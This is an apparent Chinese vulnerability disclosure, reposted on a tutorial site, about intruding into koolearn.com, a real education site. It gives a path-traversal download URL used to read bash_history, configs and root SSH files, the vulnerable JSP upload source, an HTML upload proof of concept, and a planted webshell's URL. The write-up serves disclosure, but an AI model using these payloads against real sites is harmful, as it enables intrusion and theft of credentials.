来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 新东方在线学习网站http: www koolearn com 上面的教程不错,最近正在学雅思,就花了几百大洋买了套教程(很坑爹,教程有效期为1个月),无意间发现了一处任意文件下载,然后就开始x...
|
其实这个词汇老师讲的真不错,问题出在下载课件处,
![]() 下意识的看了看下载链接发现一处任意文件下载
http://www.koolearn.com/downloadservlet?type=1&download=2013-10/yasijjchtl.doc
本来想下载web的配置文件的,谁知始终找不到web的路径,因为要下载的文件不再web目录下,然后就各种下载系统里面能猜到的文件,一共下载了
![]() 实际上比这还多点,linux下面我们都知道有个文件叫bash_history,如果管理员没有晴空,里面存的都是执行过的命令,
![]() 通过执行过的命令然后找到nginx的配置文件,然后找到web路径,然后去下载了web的一些配置文件,这其中的艰辛不言而喻,最终没有什么收获,又转战到系统上面来,想看看有没有常见的密码,类似密码本等等,猜了下常见的服务配置文件,找到了几个密码,nfs的配置文件没什么蛋用,看了一大片的配置文件,也没有什么收获,就在想这太服务器要做文件共享,一般都需要免密码登录。就下载了/root/authoxx ssh证书登录的文件,结果这些服务器基本上ssh的端口都被iptables给干掉了,此时能利用的只有任意文件下载这处,抽了支烟,记了几个单词之后,又转战的web上来,首先我的目的很明确,先搞个webshell,这网站是java写的,除了struts2好使点其他没什么已知的漏洞,现在的思路就是1.下载点源代码看看能不能找点sql注入之类的漏洞(园长师傅可能会说,去找spring的配置文件啊,找到数据库的配置文件啊,链接啊,很遗憾找了是通过jndi链接的数据库,没最后是找到了一个配置文件,不过内网,链接不上)找到管理员的密码进后台getshell,2.找文件上传漏洞(java中这个漏洞很多)其他的对于拿shell来说作用不大,先从简单的开始吧找文件上传的吧,就开始在koolearn上面找头像之类的上传点,无意之间看到了(找了很久尼,貌似是老版的,不太清楚),发现了
![]() 这个上传点比较有意思,flash上传,不过每次上传都失败了,通过抓包发现了提交的地址http://my.koolearn.com/bottom/headPhoto.jsp,不过这个文件之类访问显示404,我就很奇怪,此时想都没想直接http://www.koolearn.com/downloadservlet?type=1&download=../../..//usr/share/tomcat6/webapps/ROOT/bottom/headPhoto.jsp
利用任意文件下载把这个文件源代码下载下来了,我就在想www能直接下载到my.koolearn.com下面的文件,是不是改版之后主站也有这个文件,访问了下果然存在,看了下上传的代码
<%@ page contentType="text/html; charset=utf-8" language="java" import="java.io.*,java.util.*"%>
<%@page import="com.koolearn.eclass.util.ServletUtils"%>
<%@page import="org.apache.commons.fileupload.FileItem"%>
<%@page import="com.koolearn.rest.util.FileUtils"%>
<%@page import="org.apache.commons.io.FilenameUtils"%>
<%@page import="com.koolearn.eclass.util.FileUploadUtil"%>
<%@page import="org.apache.commons.fileupload.DiskFileUpload"%>
<%
//定义上载文件的最大字节
response.setContentType("text/html");
response.resetBuffer();
int MAX_SIZE = 1024*1024*10;
//声明文件读入类
DataInputStream in = null;
//取得客户端上传的数据类型
String contentType = request.getContentType();
try{
if(contentType.indexOf("multipart/form-data") >= 0 ){
int formDataLength = request.getContentLength();
if(formDataLength > MAX_SIZE){
//System.out.println("上传的文件字节数不可以超过" + MAX_SIZE/1024/1024+"M");
return;
}
String fileNameWithType = "";
int userId = -1;
DiskFileUpload upload = new DiskFileUpload ();
List items = upload.parseRequest(request);
Iterator itr = items.iterator();
while(itr.hasNext()) {
FileItem item = (FileItem) itr.next();
if(item.isFormField()) {
String fieldName = item.getFieldName();
if(fieldName.equals("userid")){
//System.out.println("=====dd==="+item.getString() );
userId = Integer.parseInt(item.getString());
}
}else{
//读入上传图片的数据
fileNameWithType = FilenameUtils.getName(item.getName());
//System.out.println("========================="+fileNameWithType);
in = new DataInputStream(item.getInputStream());
}
}
String saveFile = FileUploadUtil.getNewName( fileNameWithType );
String rootPath = FileUploadUtil.savePhotoURL(userId)+"/";
//System.out.println("========"+rootPath);
//创建保存路径的文件名
//zx
String fileName = rootPath + saveFile;
System.out.println("========"+fileName);
//检查上载文件是否存在
File checkFile = new File(fileName);
if(checkFile.exists()){
//System.out.println(saveFile + "文件已经存在");
}
//检查上载文件的目录是否存在
File fileDir = new File(rootPath);
if(!fileDir.exists()){
fileDir.mkdirs();
}
//System.out.println("_"+FileUploadManager.getPortraitURL(userId)+"/"+saveFile+"_");
FileUtils.saveFile(in,fileName);
String testurl = (FileUploadUtil.getPortraitURL(userId)+"/"+saveFile).trim();
testurl = testurl.replace(ServletUtils.getBaseURL(request),"");
out.print(testurl);
System.out.println("_"+testurl+"_");
out.flush();
}
else{
String content = request.getContentType();
}
}catch(Exception ex){
ex.printStackTrace();
throw new ServletException(ex.getMessage());
}
%>
重点在这句String saveFile = FileUploadUtil.getNewName( fileNameWithType );
运气好这个文件可以下载,没有打成jar文件,就直接下载了
public static String savePhotoFile(String path, FileItem fileItem)
throws IOException
{
if (fileItem == null)
return "";
String ext = "";
String fileName = "";
fileName = fileItem.getName();
if (fileName.indexOf(".") > 0) {
ext = fileName.substring(fileName.lastIndexOf(".") + 1);
}
String extTypes = SystemGlobals.getPreference("upload.exts");
if (extTypes.indexOf(ext) < 0) {
return "";
}
fileName = String.valueOf(System.currentTimeMillis());
if (!StringUtils.isBlank(ext)) {
fileName = fileName + "." + ext;
}
saveFile(path, fileName, fileItem.getInputStream());
return fileName;
}/code>
这段代码写的判断了后缀,只可惜没有调用,那就太好了
<code>public static final String getNewName(String originalName) {
Random random = new Random();
SimpleDateFormat sdf = null;
try {
sdf = new SimpleDateFormat("yyyyMMddHHmmss");
}
catch (Exception ex) {
ex.printStackTrace();
return originalName;
}
String newName = sdf.format(new Date()) + random.nextInt(100) + "." + FilenameUtils.getExtension(originalName);
return newName;
}
getNewName方法就按照时间戳生成了个文件名,文件后缀没有处理,到这里就造成了任意文件上传了。
poc
<form action="http://www.koolearn.com/bottom/headPhoto.jsp" enctype="multipart/form-data" method="post"> <input type="file" name="table">//name值随便,看源码就知道了 <input type="submit"> </form> </body> </html>
拿到shell后,查看了下ssh,/root/.ssh/known_hosts文件,大致知道了内网的机器台数,
shell地址:http://www.koolearn.com/uploadimage/studyplan/1/-1/portraint/2014070920523540.jsp,自行删除吧!
![]() 修复方案:
写了这么多废话,怎么修复应该很明显了。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com